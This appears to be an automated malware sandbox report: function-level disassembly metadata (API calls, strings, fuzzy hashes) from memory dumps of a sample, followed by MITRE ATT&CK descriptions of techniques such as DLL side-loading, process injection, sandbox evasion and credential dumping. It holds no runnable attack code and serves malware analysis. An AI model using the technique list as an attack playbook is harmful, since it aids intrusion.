Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: 164016a0fce9dc77be95c69e5706c0496e7ef2ea01cc586159c7ba55afba2873
Instruction ID: be15a58230a9d5d32a5886c933a39f6ce750ae759972e915973d031a30937131
Opcode Fuzzy Hash: 164016a0fce9dc77be95c69e5706c0496e7ef2ea01cc586159c7ba55afba2873
Instruction Fuzzy Hash: 7211C135F046889BEB01EF69C814DEDBB75EF96318F449229DC499B702FB30A584C790

Function 6C3D4730 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C3D44B2,6C44E21C,6C44F7F8), ref: 6C3D473E
GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C3D474A

Strings

GetNtLoaderAPI, xrefs: 6C3D4744

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetNtLoaderAPI
API String ID: 1646373207-1628273567
Opcode ID: 50e8a7d058eedc8375823a548d4e0761227d88df66c592e0f7aad4ccb16b9cd5
Instruction ID: 7a104f3f9f9bcd68b59fd7dc750d58a4661349c1f2c51a608262cb87411bdea9
Opcode Fuzzy Hash: 50e8a7d058eedc8375823a548d4e0761227d88df66c592e0f7aad4ccb16b9cd5
Instruction Fuzzy Hash: 130192767012148FEF00FF65C494A1D7BB9FB8B319B258469E905CB300DB74E8018F91

Function 6C426DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6C426E22
__Init_thread_footer.LIBCMT ref: 6C426E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6C426E1D

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: 45fca7fd5069bf57549dbf6c38a7bde54cad4331d86273a5dab02576f8f53b7f
Instruction ID: a008a7252f474980bc453e3a17a1aaa5c65a5ada039a93093d91e0b0a66e42cd
Opcode Fuzzy Hash: 45fca7fd5069bf57549dbf6c38a7bde54cad4331d86273a5dab02576f8f53b7f
Instruction Fuzzy Hash: 1DF05935206280CBFB00FBA8C852ED27372D31331DF248165CC5446F51DB24A917CE93

Function 6C3D9E70 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C3D9EEF

Strings

Infinity, xrefs: 6C3D9EB7
NaN, xrefs: 6C3D9EC1

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID: Init_thread_footer
String ID: Infinity$NaN
API String ID: 1385522511-4285296124
Opcode ID: 93af2e201a76537ff8970c03356b3ebe287d0e4df9a58049edae66b4a4f11d3d
Instruction ID: 6331629d7540a953a473cf9c3c704cef2022a0fb0db9ed27f3a625b17679970e
Opcode Fuzzy Hash: 93af2e201a76537ff8970c03356b3ebe287d0e4df9a58049edae66b4a4f11d3d
Instruction Fuzzy Hash: 63F08CF1602242CAFA00FF58DA55F417371E74730EF308A54C5460AA40DB3965568B92

Function 6C3D6C30 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0K@l,?,6C404B30,80000000,?,6C404AB7,?,6C3C43CF,?,6C3C42D2), ref: 6C3D6C42

Part of subcall function 6C3DCA10: malloc.MOZGLUE(?), ref: 6C3DCA26

moz_xmalloc.MOZGLUE(0K@l,?,6C404B30,80000000,?,6C404AB7,?,6C3C43CF,?,6C3C42D2), ref: 6C3D6C58

Strings

0K@l, xrefs: 6C3D6C33, 6C3D6C41, 6C3D6C57

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID: moz_xmalloc$malloc
String ID: 0K@l
API String ID: 1967447596-433924074
Opcode ID: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction ID: 29823829be599addf14c1c940cf3a76717b758c706bd2e1dcddeb5b88c9da09b
Opcode Fuzzy Hash: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction Fuzzy Hash: 00E086F3A205054B9B08A9B8BC0956A72DC8B142A87054E75E833C7BD8FA55F5548962

Function 6C3D3850 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6C44F860), ref: 6C3D385C
ReleaseSRWLockExclusive.KERNEL32(6C44F860,?), ref: 6C3D3871

Strings

,Dl, xrefs: 6C3D387A

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID: ExclusiveLock$AcquireRelease
String ID: ,Dl
API String ID: 17069307-867082269
Opcode ID: 3eca44599ea2d176037c41c570fced4894dc0e6e3cb407a7c75b3ce4f2010263
Instruction ID: 96360264ea5fa099106d6f3e9eb55a601099f9b6d2964ff8316f11bd1a79c177
Opcode Fuzzy Hash: 3eca44599ea2d176037c41c570fced4894dc0e6e3cb407a7c75b3ce4f2010263
Instruction Fuzzy Hash: 8DE0DF32A02A2897F701FFA68401D8ABB78FE43698325C845E40A1BE00C731A8808AD6

Function 6C3DBED0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15librarythreadCOMMON

Download Yara Rule

APIs

DisableThreadLibraryCalls.KERNEL32(?), ref: 6C3DBEE3
LoadLibraryExW.KERNEL32(cryptbase.dll,00000000,00000800), ref: 6C3DBEF5

Strings

cryptbase.dll, xrefs: 6C3DBEF0

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID: Library$CallsDisableLoadThread
String ID: cryptbase.dll
API String ID: 4137859361-1262567842
Opcode ID: 517bafe3fe430c5601e8ae080878823c828ffdbc8dd9936bf8187da00c4b547a
Instruction ID: 47f719f0055057f36d6bec56062ff8448aeec284c82f042a0fbf86721cc1882d
Opcode Fuzzy Hash: 517bafe3fe430c5601e8ae080878823c828ffdbc8dd9936bf8187da00c4b547a
Instruction Fuzzy Hash: C6D0A932284608EADA00FBA09C0AF293BB8E70236DF30C020F30588851C7B1A410CF90

Function 6C41B5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6C41B2C9,?,?,?,6C41B127,?,?,?,?,?,?,?,?,?,6C41AE52), ref: 6C41B628

Part of subcall function 6C4190E0: free.MOZGLUE(?,00000000,?,?,6C41DEDB), ref: 6C4190FF
Part of subcall function 6C4190E0: free.MOZGLUE(?,00000000,?,?,6C41DEDB), ref: 6C419108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C41B2C9,?,?,?,6C41B127,?,?,?,?,?,?,?,?,?,6C41AE52), ref: 6C41B67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C41B2C9,?,?,?,6C41B127,?,?,?,?,?,?,?,?,?,6C41AE52), ref: 6C41B708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6C41B127,?,?,?,?,?,?,?,?), ref: 6C41B74D

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 535adb70a9b4bfdf843c8a21cc4586eba6c0682674f2b77b94ff62e3f6f511dc
Instruction ID: 5ed9a67c253a60d6ae85381c266fb7cb6549751e19f670eb92eb1b4d9128066d
Opcode Fuzzy Hash: 535adb70a9b4bfdf843c8a21cc4586eba6c0682674f2b77b94ff62e3f6f511dc
Instruction Fuzzy Hash: 0C51D1B1A092168FDB14DF58C980F6EB7B1FF85305F15852DC8AAABB10D731A805CBA1

Function 6C41DF90 Relevance: 5.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C40FF2A), ref: 6C41DFFD

Part of subcall function 6C4190E0: free.MOZGLUE(?,00000000,?,?,6C41DEDB), ref: 6C4190FF
Part of subcall function 6C4190E0: free.MOZGLUE(?,00000000,?,?,6C41DEDB), ref: 6C419108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C40FF2A), ref: 6C41E04A
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C40FF2A), ref: 6C41E0C0
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,6C40FF2A), ref: 6C41E0FE

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 07e13357bdd0bfd09008618609812c4cc2d8a79c86577334c617703968cc776a
Instruction ID: 8f7f7682236e5037530d45a011f929bffb0cfef285d042b01818938ceb72bf46
Opcode Fuzzy Hash: 07e13357bdd0bfd09008618609812c4cc2d8a79c86577334c617703968cc776a
Instruction Fuzzy Hash: 2B41B2B96082168FEB14CF68C8C4F6A7BB1AB45308F154529D596DBF40E732E905CB92

Function 6C416E50 Relevance: 5.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000018), ref: 6C416EAB
memcpy.VCRUNTIME140(00000000,00000018,-000000A0), ref: 6C416EFA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C416F1E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C416F5C

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: c4b2c8b964f081fd5fe6f7ee6239d2b7608e85ee64dc2b94005f6376c4468492
Instruction ID: c3d113c6c2dcd74c6bf84e19a6730299a282dab11671e3ded8853ebdcec03051
Opcode Fuzzy Hash: c4b2c8b964f081fd5fe6f7ee6239d2b7608e85ee64dc2b94005f6376c4468492
Instruction Fuzzy Hash: A631E471A1460A8FDB04DF2CC980FBA73F9EB84345F648239D45AC7A51EB31E659CB90

Function 6C42B580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6C3D0A4D), ref: 6C42B5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6C3D0A4D), ref: 6C42B623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6C3D0A4D), ref: 6C42B66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,?,?,6C3D0A4D), ref: 6C42B67F

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: 2b4992739d28da3af5b16fb09e96294136a78384e2017de5176c09130a83f3f6
Instruction ID: f1e3c37f29fb09a14b1dfb77b16b5b3389f451e8c3f8c4acb5432325b9db9f6d
Opcode Fuzzy Hash: 2b4992739d28da3af5b16fb09e96294136a78384e2017de5176c09130a83f3f6
Instruction Fuzzy Hash: 5B31F271A006168FDB10DF58C845E5ABBF6FF80305F1A8669C8179B301EB36E915CBA2

Function 6C3FF5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6C3FF611
memcpy.VCRUNTIME140(?,?,?), ref: 6C3FF623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6C3FF652
memcpy.VCRUNTIME140(?,?,?), ref: 6C3FF668

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: 4e7e2266854ee3815cf1e22f8e0068e325aaa620165b4f156c695a7c537b1d04
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: 15313071A002249FC714CF69CCC0E9E77F9EBC8358B14893DEA598BB04D632E945CB94

Function 6C4126B0 Relevance: 5.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C4126C1
free.MOZGLUE(?), ref: 6C4126E4
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C4126FF
free.MOZGLUE ref: 6C41270D

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: c1e731c360eb2da3c7cdf15b92be6ee159dc0b2e168b669c14f0ab44235a5e3a
Instruction ID: 72a600ec92bea923551433d3cf019aa54baed1a2efcd85e50fe58fefac36e514
Opcode Fuzzy Hash: c1e731c360eb2da3c7cdf15b92be6ee159dc0b2e168b669c14f0ab44235a5e3a
Instruction Fuzzy Hash: 0AF0F9B2B052005BE720DB58D884D6B73A9EF5635DB240035EA56D3F01EB32F918C792

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

